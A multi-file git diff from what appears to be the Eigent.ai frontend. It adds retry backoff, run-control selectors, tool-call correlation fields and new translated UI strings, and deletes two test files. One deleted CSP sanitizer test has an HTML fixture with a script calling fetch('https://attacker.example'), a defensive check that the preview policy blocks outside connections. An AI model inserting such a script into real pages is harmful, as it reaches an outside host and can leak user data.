|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import type { ProjectEventStoreSnapshot } from '@/store/projectEventStore';
|
||||
|
||||
export type EventNativeProjectedRun =
|
||||
ProjectEventStoreSnapshot['view']['runs'][string];
|
||||
|
||||
const PENDING_CONTROL_RUN_STATUSES = new Set([
|
||||
'pending',
|
||||
'running',
|
||||
'waiting_for_user',
|
||||
'cancelling',
|
||||
]);
|
||||
|
||||
const LIVE_RUN_STATUSES = new Set(['running', 'cancelling']);
|
||||
|
||||
const TYPED_HUMAN_REQUEST_EVENT_TYPES = new Set([
|
||||
'interaction.requested',
|
||||
'approval.requested',
|
||||
]);
|
||||
|
||||
export function isEventNativeRunActionable(
|
||||
run: EventNativeProjectedRun
|
||||
): boolean {
|
||||
return (
|
||||
run.origin === 'local' &&
|
||||
!run.resumeBlockedReason &&
|
||||
run.lastSequence >= run.runVersion
|
||||
);
|
||||
}
|
||||
|
||||
function snapshotCanIssueControls(
|
||||
snapshot: ProjectEventStoreSnapshot
|
||||
): boolean {
|
||||
return (
|
||||
!snapshot.overflowed &&
|
||||
!snapshot.view.needsResync &&
|
||||
!snapshot.view.eventsTruncated
|
||||
);
|
||||
}
|
||||
|
||||
function hasRetainedCanonicalRunEvidence(
|
||||
snapshot: ProjectEventStoreSnapshot,
|
||||
runId: string
|
||||
): boolean {
|
||||
return snapshot.chat.nodes.some(
|
||||
(node) => node.runId === runId && !node.eventType.startsWith('legacy.')
|
||||
);
|
||||
}
|
||||
|
||||
function hasTypedCanonicalRequestAuthority(
|
||||
snapshot: ProjectEventStoreSnapshot,
|
||||
interactionId: string
|
||||
): boolean {
|
||||
const interaction = snapshot.control.interactionById[interactionId];
|
||||
return Boolean(
|
||||
interaction?.requestSource === 'canonical' &&
|
||||
interaction.requestEventType &&
|
||||
TYPED_HUMAN_REQUEST_EVENT_TYPES.has(interaction.requestEventType)
|
||||
);
|
||||
}
|
||||
|
||||
/** Select the one Run allowed to own event-native BottomBox controls. */
|
||||
export function selectEventNativeActiveRunId(
|
||||
snapshot: ProjectEventStoreSnapshot | null,
|
||||
legacyActiveRunId: string | null | undefined
|
||||
): string | null {
|
||||
if (!snapshot || !snapshotCanIssueControls(snapshot)) return null;
|
||||
|
||||
for (const interactionId of snapshot.control.orderedInteractionIds) {
|
||||
const interaction = snapshot.control.interactionById[interactionId];
|
||||
const projectedRun = interaction
|
||||
? snapshot.view.runs[interaction.runId]
|
||||
: undefined;
|
||||
if (
|
||||
interaction?.status === 'requested' &&
|
||||
hasTypedCanonicalRequestAuthority(snapshot, interactionId) &&
|
||||
projectedRun &&
|
||||
PENDING_CONTROL_RUN_STATUSES.has(projectedRun.status) &&
|
||||
isEventNativeRunActionable(projectedRun)
|
||||
) {
|
||||
return interaction.runId;
|
||||
}
|
||||
}
|
||||
|
||||
if (!legacyActiveRunId) return null;
|
||||
const legacyOwnedRun = snapshot.view.runs[legacyActiveRunId];
|
||||
return legacyOwnedRun &&
|
||||
LIVE_RUN_STATUSES.has(legacyOwnedRun.status) &&
|
||||
isEventNativeRunActionable(legacyOwnedRun) &&
|
||||
hasRetainedCanonicalRunEvidence(snapshot, legacyOwnedRun.runId)
|
||||
? legacyActiveRunId
|
||||
: null;
|
||||
}
|
||||
|
||||
export function selectActionableInterruptedRun(
|
||||
snapshot: ProjectEventStoreSnapshot | null,
|
||||
runId: string | null | undefined
|
||||
): EventNativeProjectedRun | null {
|
||||
if (!snapshot || !runId || !snapshotCanIssueControls(snapshot)) return null;
|
||||
const run = snapshot.view.runs[runId];
|
||||
return run?.status === 'interrupted' &&
|
||||
isEventNativeRunActionable(run) &&
|
||||
hasRetainedCanonicalRunEvidence(snapshot, runId)
|
||||
? run
|
||||
: null;
|
||||
}
|
||||
|
|
@ -20,6 +20,11 @@ import { getProjectEventStore } from '@/store/projectEventStore';
|
|||
import { useEffect, useState } from 'react';
|
||||
|
||||
const RETRY_DELAY_MS = 1_000;
|
||||
/**
|
||||
* Ceiling for exponential retry backoff. A retryable failure that never clears
|
||||
* (backend down) otherwise re-fetched the whole Project snapshot every second.
|
||||
*/
|
||||
const MAX_RETRY_DELAY_MS = 30_000;
|
||||
|
||||
export type UseProjectEventStoreHydrationOptions = {
|
||||
projectId: string | null | undefined;
|
||||
|
|
@ -82,7 +87,11 @@ export function useProjectEventStoreHydration({
|
|||
let mounted = true;
|
||||
let running = false;
|
||||
let retryTimer: ReturnType<typeof setTimeout> | null = null;
|
||||
let blockedByContract = false;
|
||||
let blockedIncarnation: number | null = null;
|
||||
let consecutiveFailures = 0;
|
||||
|
||||
const isBlockedByContract = () =>
|
||||
blockedIncarnation === store.getIncarnation();
|
||||
|
||||
const needsHydration = () => {
|
||||
const snapshot = store.getSnapshot();
|
||||
|
|
@ -94,17 +103,31 @@ export function useProjectEventStoreHydration({
|
|||
};
|
||||
|
||||
const scheduleRetry = () => {
|
||||
if (!mounted || retryTimer || blockedByContract) return;
|
||||
if (!mounted || retryTimer || isBlockedByContract()) return;
|
||||
const delay = Math.min(
|
||||
RETRY_DELAY_MS * 2 ** Math.max(0, consecutiveFailures - 1),
|
||||
MAX_RETRY_DELAY_MS
|
||||
);
|
||||
retryTimer = setTimeout(() => {
|
||||
retryTimer = null;
|
||||
requestHydration();
|
||||
}, RETRY_DELAY_MS);
|
||||
}, delay);
|
||||
};
|
||||
|
||||
const requestHydration = () => {
|
||||
if (!mounted || running || blockedByContract || !needsHydration()) {
|
||||
// A pending retry owns the next attempt. Without this the store
|
||||
// subscription below could re-enter immediately on any unrelated publish
|
||||
// and defeat the backoff entirely.
|
||||
if (
|
||||
!mounted ||
|
||||
running ||
|
||||
isBlockedByContract() ||
|
||||
retryTimer ||
|
||||
!needsHydration()
|
||||
) {
|
||||
return;
|
||||
}
|
||||
const requestIncarnation = store.getIncarnation();
|
||||
running = true;
|
||||
setHydrationState({
|
||||
status: 'loading',
|
||||
|
|
@ -117,6 +140,7 @@ export function useProjectEventStoreHydration({
|
|||
store,
|
||||
})
|
||||
.then((result) => {
|
||||
consecutiveFailures = 0;
|
||||
if (mounted) {
|
||||
setHydrationState({
|
||||
status: 'ready',
|
||||
|
|
@ -127,8 +151,9 @@ export function useProjectEventStoreHydration({
|
|||
})
|
||||
.catch((error: unknown) => {
|
||||
if (!mounted || isAbortError(error)) return;
|
||||
consecutiveFailures += 1;
|
||||
if (isNonRetryable(error)) {
|
||||
blockedByContract = true;
|
||||
blockedIncarnation = requestIncarnation;
|
||||
setHydrationState({
|
||||
status: 'error',
|
||||
errorCode: error.code,
|
||||
|
|
@ -151,6 +176,9 @@ export function useProjectEventStoreHydration({
|
|||
})
|
||||
.finally(() => {
|
||||
running = false;
|
||||
if (store.getIncarnation() !== requestIncarnation) {
|
||||
requestHydration();
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
|
|
|
|||
|
|
@ -72,7 +72,13 @@ export function useProjectRunEventStreams({
|
|||
};
|
||||
}, [enabled, maxStreams, projectId, reconnectDelayMs, transport]);
|
||||
|
||||
// `projectId`/`enabled` are dependencies even though they are unused here:
|
||||
// they are what construct a new owner above, and effects run in declaration
|
||||
// order within one commit. Without them a freshly created owner would be fed
|
||||
// only when the snapshot reference happened to change too, so a Project
|
||||
// switch that reuses a snapshot reference would open no streams at all until
|
||||
// the next unrelated store publish.
|
||||
useEffect(() => {
|
||||
if (snapshot) ownerRef.current?.updateSnapshot(snapshot);
|
||||
}, [snapshot]);
|
||||
}, [snapshot, projectId, enabled]);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,94 +0,0 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
__remoteControlBridgeTestHooks,
|
||||
ackFromDurableExecution,
|
||||
} from './useRemoteControlBridge';
|
||||
|
||||
describe('remote command durable ACK replay', () => {
|
||||
beforeEach(() => {
|
||||
window.localStorage.clear();
|
||||
});
|
||||
|
||||
it('replays the canonical completed outcome without executing again', () => {
|
||||
expect(
|
||||
ackFromDurableExecution('command-1', {
|
||||
event_type: 'execution.completed',
|
||||
payload: { result: { run_id: 'run-1' } },
|
||||
})
|
||||
).toEqual({
|
||||
type: 'command_ack',
|
||||
command_id: 'command-1',
|
||||
status: 'acknowledged',
|
||||
result: { run_id: 'run-1' },
|
||||
replayed_from_cache: true,
|
||||
});
|
||||
});
|
||||
|
||||
it('replays the canonical failure rather than an upload error', () => {
|
||||
expect(
|
||||
ackFromDurableExecution('command-1', {
|
||||
event_type: 'execution.failed',
|
||||
payload: { error_code: 'TOOL_FAILED', error: 'original failure' },
|
||||
})
|
||||
).toMatchObject({
|
||||
status: 'failed',
|
||||
error_code: 'TOOL_FAILED',
|
||||
error: 'original failure',
|
||||
});
|
||||
});
|
||||
|
||||
it('preserves a queued execution result when restart reconciliation races it', () => {
|
||||
const command = {
|
||||
id: 'command-1',
|
||||
session_id: 'session-1',
|
||||
user_id: 1,
|
||||
source_channel: 'remote_control' as const,
|
||||
type: 'user_message',
|
||||
target_project_id: 'project-1',
|
||||
payload: {},
|
||||
};
|
||||
const completed = {
|
||||
status: 'completed' as const,
|
||||
event_id: 'command-1:execution-result',
|
||||
result: { run_id: 'run-1' },
|
||||
};
|
||||
|
||||
__remoteControlBridgeTestHooks.queuePendingCommandResult({
|
||||
command,
|
||||
body: completed,
|
||||
});
|
||||
const durable = __remoteControlBridgeTestHooks.queuePendingCommandResult({
|
||||
command,
|
||||
body: {
|
||||
status: 'failed',
|
||||
event_id: 'command-1:recovery-outcome-unknown',
|
||||
result: {},
|
||||
error_code: 'COMMAND_OUTCOME_UNKNOWN_AFTER_RESTART',
|
||||
},
|
||||
});
|
||||
|
||||
expect(durable.body).toEqual(completed);
|
||||
expect(
|
||||
__remoteControlBridgeTestHooks.ackFromPendingCommandResult(
|
||||
command.id,
|
||||
durable.body
|
||||
)
|
||||
).toMatchObject({
|
||||
status: 'acknowledged',
|
||||
result: { run_id: 'run-1' },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -810,6 +810,11 @@ async function executeRemoteCommand(
|
|||
switch (command.type) {
|
||||
case 'user_message': {
|
||||
const requestId = command.next_task_id || command.id;
|
||||
// getCommandProjectId falls back to '', which would otherwise be sent as
|
||||
// a request to /projects//follow-ups.
|
||||
if (!projectId) {
|
||||
throw new Error('Remote user_message requires a target Project');
|
||||
}
|
||||
const content = String(
|
||||
command.payload.content || command.payload.question || ''
|
||||
);
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "إنهاء التشغيل",
|
||||
"run-cancelling": "جارٍ الإنهاء…",
|
||||
"run-resume-failed": "تعذرت متابعة هذا التشغيل.",
|
||||
"run-cancel-failed": "تعذر إنهاء هذا التشغيل."
|
||||
"run-cancel-failed": "تعذر إنهاء هذا التشغيل.",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} أحداث",
|
||||
"repeated-tool-calls-label": "استدعاءات الأداة المتكررة: {{tool}}",
|
||||
"repeated-tool-failed": "فشل {{count}}",
|
||||
"repeated-tool-completed-progress": "اكتمل {{completed}}/{{count}}",
|
||||
"repeated-tool-cancelled": "أُلغي {{count}}",
|
||||
"tool-status-completed": "مكتمل",
|
||||
"tool-status-failed": "فشل",
|
||||
"tool-status-cancelled": "ملغى",
|
||||
"tool-status-running": "قيد التشغيل",
|
||||
"tool-status-pending": "قيد الانتظار",
|
||||
"tool-status-unknown": "غير معروف",
|
||||
"follow-up-prepare-failed": "تعذر إعداد مهمة المتابعة."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -132,7 +132,7 @@
|
|||
"are-you-sure-you-want-to-delete": "هل أنت متأكد أنك تريد حذف",
|
||||
"deleting": "جارٍ الحذف...",
|
||||
"delete": "حذف",
|
||||
"configure {name} Toolkit": "{name} تكوين مجموعة أدوات",
|
||||
"configure {name} Toolkit": "تكوين مجموعة أدوات {{name}}",
|
||||
"get-it-from": "احصل عليها من",
|
||||
"google-custom-search-api": "Google واجهة برمجة تطبيقات البحث المخصص من",
|
||||
"google-cloud-console": "Google Cloud وحدة تحكم",
|
||||
|
|
@ -337,7 +337,7 @@
|
|||
"are-you-sure-you-want-to-delete": "هل أنت متأكد أنك تريد حذف",
|
||||
"deleting": "جارٍ الحذف...",
|
||||
"delete": "حذف",
|
||||
"configure {name} Toolkit": "{name} تكوين مجموعة أدوات",
|
||||
"configure {name} Toolkit": "تكوين مجموعة أدوات {{name}}",
|
||||
"get-it-from": "احصل عليها من",
|
||||
"google-custom-search-api": "Google واجهة برمجة تطبيقات البحث المخصص من",
|
||||
"google-cloud-console": "Google Cloud وحدة تحكم",
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "Ausführung beenden",
|
||||
"run-cancelling": "Wird beendet…",
|
||||
"run-resume-failed": "Die Ausführung konnte nicht fortgesetzt werden.",
|
||||
"run-cancel-failed": "Die Ausführung konnte nicht beendet werden."
|
||||
"run-cancel-failed": "Die Ausführung konnte nicht beendet werden.",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} Ereignisse",
|
||||
"repeated-tool-calls-label": "Wiederholte Tool-Aufrufe: {{tool}}",
|
||||
"repeated-tool-failed": "{{count}} fehlgeschlagen",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}} abgeschlossen",
|
||||
"repeated-tool-cancelled": "{{count}} abgebrochen",
|
||||
"tool-status-completed": "Abgeschlossen",
|
||||
"tool-status-failed": "Fehlgeschlagen",
|
||||
"tool-status-cancelled": "Abgebrochen",
|
||||
"tool-status-running": "Läuft",
|
||||
"tool-status-pending": "Ausstehend",
|
||||
"tool-status-unknown": "Unbekannt",
|
||||
"follow-up-prepare-failed": "Die Folgeaufgabe konnte nicht vorbereitet werden."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "Cancel Run",
|
||||
"run-cancelling": "Cancelling…",
|
||||
"run-resume-failed": "Failed to resume this Run.",
|
||||
"run-cancel-failed": "Failed to cancel this Run."
|
||||
"run-cancel-failed": "Failed to cancel this Run.",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} events",
|
||||
"repeated-tool-calls-label": "Repeated tool calls: {{tool}}",
|
||||
"repeated-tool-failed": "{{count}} failed",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}} completed",
|
||||
"repeated-tool-cancelled": "{{count}} cancelled",
|
||||
"tool-status-completed": "Completed",
|
||||
"tool-status-failed": "Failed",
|
||||
"tool-status-cancelled": "Cancelled",
|
||||
"tool-status-running": "Running",
|
||||
"tool-status-pending": "Pending",
|
||||
"tool-status-unknown": "Unknown",
|
||||
"follow-up-prepare-failed": "Unable to prepare the follow-up task."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "Cancelar ejecución",
|
||||
"run-cancelling": "Cancelando…",
|
||||
"run-resume-failed": "No se pudo reanudar esta ejecución.",
|
||||
"run-cancel-failed": "No se pudo cancelar esta ejecución."
|
||||
"run-cancel-failed": "No se pudo cancelar esta ejecución.",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} eventos",
|
||||
"repeated-tool-calls-label": "Llamadas repetidas a la herramienta: {{tool}}",
|
||||
"repeated-tool-failed": "{{count}} con error",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}} completadas",
|
||||
"repeated-tool-cancelled": "{{count}} canceladas",
|
||||
"tool-status-completed": "Completada",
|
||||
"tool-status-failed": "Con error",
|
||||
"tool-status-cancelled": "Cancelada",
|
||||
"tool-status-running": "En curso",
|
||||
"tool-status-pending": "Pendiente",
|
||||
"tool-status-unknown": "Desconocida",
|
||||
"follow-up-prepare-failed": "No se pudo preparar la tarea de seguimiento."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "Annuler l’exécution",
|
||||
"run-cancelling": "Annulation…",
|
||||
"run-resume-failed": "Impossible de reprendre cette exécution.",
|
||||
"run-cancel-failed": "Impossible d’annuler cette exécution."
|
||||
"run-cancel-failed": "Impossible d’annuler cette exécution.",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} événements",
|
||||
"repeated-tool-calls-label": "Appels d’outil répétés : {{tool}}",
|
||||
"repeated-tool-failed": "{{count}} en échec",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}} terminés",
|
||||
"repeated-tool-cancelled": "{{count}} annulés",
|
||||
"tool-status-completed": "Terminé",
|
||||
"tool-status-failed": "Échec",
|
||||
"tool-status-cancelled": "Annulé",
|
||||
"tool-status-running": "En cours",
|
||||
"tool-status-pending": "En attente",
|
||||
"tool-status-unknown": "Inconnu",
|
||||
"follow-up-prepare-failed": "Impossible de préparer la tâche de suivi."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "Annulla esecuzione",
|
||||
"run-cancelling": "Annullamento…",
|
||||
"run-resume-failed": "Impossibile riprendere questa esecuzione.",
|
||||
"run-cancel-failed": "Impossibile annullare questa esecuzione."
|
||||
"run-cancel-failed": "Impossibile annullare questa esecuzione.",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} eventi",
|
||||
"repeated-tool-calls-label": "Chiamate ripetute allo strumento: {{tool}}",
|
||||
"repeated-tool-failed": "{{count}} non riuscite",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}} completate",
|
||||
"repeated-tool-cancelled": "{{count}} annullate",
|
||||
"tool-status-completed": "Completata",
|
||||
"tool-status-failed": "Non riuscita",
|
||||
"tool-status-cancelled": "Annullata",
|
||||
"tool-status-running": "In corso",
|
||||
"tool-status-pending": "In attesa",
|
||||
"tool-status-unknown": "Sconosciuta",
|
||||
"follow-up-prepare-failed": "Impossibile preparare l’attività di follow-up."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "実行を終了",
|
||||
"run-cancelling": "終了中…",
|
||||
"run-resume-failed": "この実行を再開できませんでした。",
|
||||
"run-cancel-failed": "この実行を終了できませんでした。"
|
||||
"run-cancel-failed": "この実行を終了できませんでした。",
|
||||
"repeated-tool-events": "{{tool}} · {{count}}件のイベント",
|
||||
"repeated-tool-calls-label": "繰り返しのツール呼び出し: {{tool}}",
|
||||
"repeated-tool-failed": "{{count}}件失敗",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}}件完了",
|
||||
"repeated-tool-cancelled": "{{count}}件キャンセル",
|
||||
"tool-status-completed": "完了",
|
||||
"tool-status-failed": "失敗",
|
||||
"tool-status-cancelled": "キャンセル済み",
|
||||
"tool-status-running": "実行中",
|
||||
"tool-status-pending": "保留中",
|
||||
"tool-status-unknown": "不明",
|
||||
"follow-up-prepare-failed": "フォローアップタスクを準備できませんでした。"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -209,7 +209,7 @@
|
|||
"are-you-sure-you-want-to-delete": "本当に削除しますか",
|
||||
"deleting": "削除中...",
|
||||
"delete": "削除",
|
||||
"configure {name} Toolkit": "{name}ツールキットを構成",
|
||||
"configure {name} Toolkit": "{{name}}ツールキットを構成",
|
||||
"get-it-from": "から入手",
|
||||
"google-custom-search-api": "Googleカスタム検索API",
|
||||
"google-cloud-console": "Google Cloud Console",
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "실행 종료",
|
||||
"run-cancelling": "종료 중…",
|
||||
"run-resume-failed": "이 실행을 재개하지 못했습니다.",
|
||||
"run-cancel-failed": "이 실행을 종료하지 못했습니다."
|
||||
"run-cancel-failed": "이 실행을 종료하지 못했습니다.",
|
||||
"repeated-tool-events": "{{tool}} · 이벤트 {{count}}개",
|
||||
"repeated-tool-calls-label": "반복된 도구 호출: {{tool}}",
|
||||
"repeated-tool-failed": "{{count}}개 실패",
|
||||
"repeated-tool-completed-progress": "{{completed}}/{{count}}개 완료",
|
||||
"repeated-tool-cancelled": "{{count}}개 취소됨",
|
||||
"tool-status-completed": "완료",
|
||||
"tool-status-failed": "실패",
|
||||
"tool-status-cancelled": "취소됨",
|
||||
"tool-status-running": "실행 중",
|
||||
"tool-status-pending": "대기 중",
|
||||
"tool-status-unknown": "알 수 없음",
|
||||
"follow-up-prepare-failed": "후속 작업을 준비하지 못했습니다."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "Завершить запуск",
|
||||
"run-cancelling": "Завершение…",
|
||||
"run-resume-failed": "Не удалось возобновить этот запуск.",
|
||||
"run-cancel-failed": "Не удалось завершить этот запуск."
|
||||
"run-cancel-failed": "Не удалось завершить этот запуск.",
|
||||
"repeated-tool-events": "{{tool}} · событий: {{count}}",
|
||||
"repeated-tool-calls-label": "Повторные вызовы инструмента: {{tool}}",
|
||||
"repeated-tool-failed": "С ошибкой: {{count}}",
|
||||
"repeated-tool-completed-progress": "Завершено: {{completed}}/{{count}}",
|
||||
"repeated-tool-cancelled": "Отменено: {{count}}",
|
||||
"tool-status-completed": "Завершено",
|
||||
"tool-status-failed": "Ошибка",
|
||||
"tool-status-cancelled": "Отменено",
|
||||
"tool-status-running": "Выполняется",
|
||||
"tool-status-pending": "Ожидает",
|
||||
"tool-status-unknown": "Неизвестно",
|
||||
"follow-up-prepare-failed": "Не удалось подготовить следующую задачу."
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "结束任务",
|
||||
"run-cancelling": "正在结束…",
|
||||
"run-resume-failed": "恢复任务失败,请重试。",
|
||||
"run-cancel-failed": "结束任务失败,请重试。"
|
||||
"run-cancel-failed": "结束任务失败,请重试。",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} 个事件",
|
||||
"repeated-tool-calls-label": "重复的工具调用:{{tool}}",
|
||||
"repeated-tool-failed": "{{count}} 个失败",
|
||||
"repeated-tool-completed-progress": "已完成 {{completed}}/{{count}}",
|
||||
"repeated-tool-cancelled": "{{count}} 个已取消",
|
||||
"tool-status-completed": "已完成",
|
||||
"tool-status-failed": "失败",
|
||||
"tool-status-cancelled": "已取消",
|
||||
"tool-status-running": "运行中",
|
||||
"tool-status-pending": "等待中",
|
||||
"tool-status-unknown": "未知",
|
||||
"follow-up-prepare-failed": "无法准备后续任务。"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -127,5 +127,17 @@
|
|||
"run-cancel": "結束任務",
|
||||
"run-cancelling": "正在結束…",
|
||||
"run-resume-failed": "恢復任務失敗,請重試。",
|
||||
"run-cancel-failed": "結束任務失敗,請重試。"
|
||||
"run-cancel-failed": "結束任務失敗,請重試。",
|
||||
"repeated-tool-events": "{{tool}} · {{count}} 個事件",
|
||||
"repeated-tool-calls-label": "重複的工具呼叫:{{tool}}",
|
||||
"repeated-tool-failed": "{{count}} 個失敗",
|
||||
"repeated-tool-completed-progress": "已完成 {{completed}}/{{count}}",
|
||||
"repeated-tool-cancelled": "{{count}} 個已取消",
|
||||
"tool-status-completed": "已完成",
|
||||
"tool-status-failed": "失敗",
|
||||
"tool-status-cancelled": "已取消",
|
||||
"tool-status-running": "執行中",
|
||||
"tool-status-pending": "等待中",
|
||||
"tool-status-unknown": "未知",
|
||||
"follow-up-prepare-failed": "無法準備後續任務。"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,40 +0,0 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
injectPreviewContentSecurityPolicy,
|
||||
PREVIEW_CONTENT_SECURITY_POLICY,
|
||||
} from './htmlSanitization';
|
||||
|
||||
describe('HTML preview CSP', () => {
|
||||
it('replaces an agent-authored policy with the application policy', () => {
|
||||
const html = injectPreviewContentSecurityPolicy(`<!doctype html>
|
||||
<html><head>
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src *">
|
||||
</head><body><script>fetch('https://attacker.example')</script></body></html>`);
|
||||
const doc = new DOMParser().parseFromString(html, 'text/html');
|
||||
const policies = doc.querySelectorAll(
|
||||
'meta[http-equiv="Content-Security-Policy" i]'
|
||||
);
|
||||
|
||||
expect(policies).toHaveLength(1);
|
||||
expect(policies[0].getAttribute('content')).toBe(
|
||||
PREVIEW_CONTENT_SECURITY_POLICY
|
||||
);
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("default-src 'none'");
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("connect-src 'none'");
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).not.toContain('https:');
|
||||
});
|
||||
});
|
||||
|
|
@ -603,10 +603,43 @@ function activityNode(
|
|||
fallbackStatus: ChatActivityStatus
|
||||
): ChatActivityNode {
|
||||
const payload = asRecord(data);
|
||||
const tool = asRecord(payload.tool);
|
||||
const isTypedActivity = !base.eventType.startsWith('legacy.');
|
||||
const toolkitName = firstText(payload.toolkit_name, payload.toolkitName);
|
||||
const methodName = firstText(payload.method_name, payload.methodName);
|
||||
const toolName = firstText(payload.tool_name, payload.toolName);
|
||||
const toolkitName = firstText(
|
||||
payload.toolkit_name,
|
||||
payload.toolkitName,
|
||||
tool.toolkit_name,
|
||||
tool.toolkitName
|
||||
);
|
||||
const methodName = firstText(
|
||||
payload.method_name,
|
||||
payload.methodName,
|
||||
tool.method_name,
|
||||
tool.methodName
|
||||
);
|
||||
const toolName = firstText(
|
||||
payload.tool_name,
|
||||
payload.toolName,
|
||||
tool.tool_name,
|
||||
tool.toolName,
|
||||
tool.name
|
||||
);
|
||||
const toolCallId = firstText(
|
||||
payload.tool_call_id,
|
||||
payload.toolCallId,
|
||||
payload.call_id,
|
||||
payload.callId,
|
||||
payload.invocation_id,
|
||||
payload.invocationId,
|
||||
payload.tool_use_id,
|
||||
payload.toolUseId,
|
||||
tool.tool_call_id,
|
||||
tool.toolCallId,
|
||||
tool.call_id,
|
||||
tool.callId,
|
||||
tool.invocation_id,
|
||||
tool.invocationId
|
||||
);
|
||||
const isHumanInputActivity = isHumanInputToolkitActivity(
|
||||
toolkitName,
|
||||
methodName,
|
||||
|
|
@ -644,6 +677,8 @@ function activityNode(
|
|||
undefined,
|
||||
toolkitName: toolkitName || undefined,
|
||||
methodName: methodName || undefined,
|
||||
toolCallId: toolCallId || undefined,
|
||||
toolName: toolName || undefined,
|
||||
};
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -165,6 +165,10 @@ export interface ChatActivityNode extends ChatProjectionNodeBase {
|
|||
taskId?: string;
|
||||
toolkitName?: string;
|
||||
methodName?: string;
|
||||
/** Backend correlation for one tool invocation when the transport supplies it. */
|
||||
toolCallId?: string;
|
||||
/** Typed transports may name a tool without a toolkit/method pair. */
|
||||
toolName?: string;
|
||||
}
|
||||
|
||||
export interface ChatArtifactNode extends ChatProjectionNodeBase {
|
||||
|
|
|
|||
|
|
@ -26,6 +26,12 @@ const TERMINAL_STATUSES = new Set<HumanControlInteraction['status']>([
|
|||
'cancelled',
|
||||
]);
|
||||
|
||||
function isTypedRequestEvent(eventType: string | undefined): boolean {
|
||||
return (
|
||||
eventType === 'interaction.requested' || eventType === 'approval.requested'
|
||||
);
|
||||
}
|
||||
|
||||
export function createHumanControlProjectionState(
|
||||
projectId: string
|
||||
): HumanControlProjectionState {
|
||||
|
|
@ -84,6 +90,8 @@ function createInteraction(
|
|||
cloudCursor: update.cloudCursor,
|
||||
lastCloudCursor: update.cloudCursor,
|
||||
requestEventId: update.status === 'requested' ? update.eventId : undefined,
|
||||
requestEventType:
|
||||
update.status === 'requested' ? update.eventType : undefined,
|
||||
requestSource: update.source,
|
||||
lastEventId: update.eventId,
|
||||
requestedAt: update.status === 'requested' ? update.createdAt : undefined,
|
||||
|
|
@ -116,7 +124,10 @@ function mergeInteraction(
|
|||
): HumanControlInteraction {
|
||||
const existingIsTerminal = TERMINAL_STATUSES.has(existing.status);
|
||||
const requestSuppliesIdentity =
|
||||
update.status === 'requested' && !existing.requestEventId;
|
||||
update.status === 'requested' &&
|
||||
(!existing.requestEventId ||
|
||||
(isTypedRequestEvent(update.eventType) &&
|
||||
!isTypedRequestEvent(existing.requestEventType)));
|
||||
const updateIsLatest = update.sequence >= existing.lastSequence;
|
||||
|
||||
return {
|
||||
|
|
@ -132,10 +143,12 @@ function mergeInteraction(
|
|||
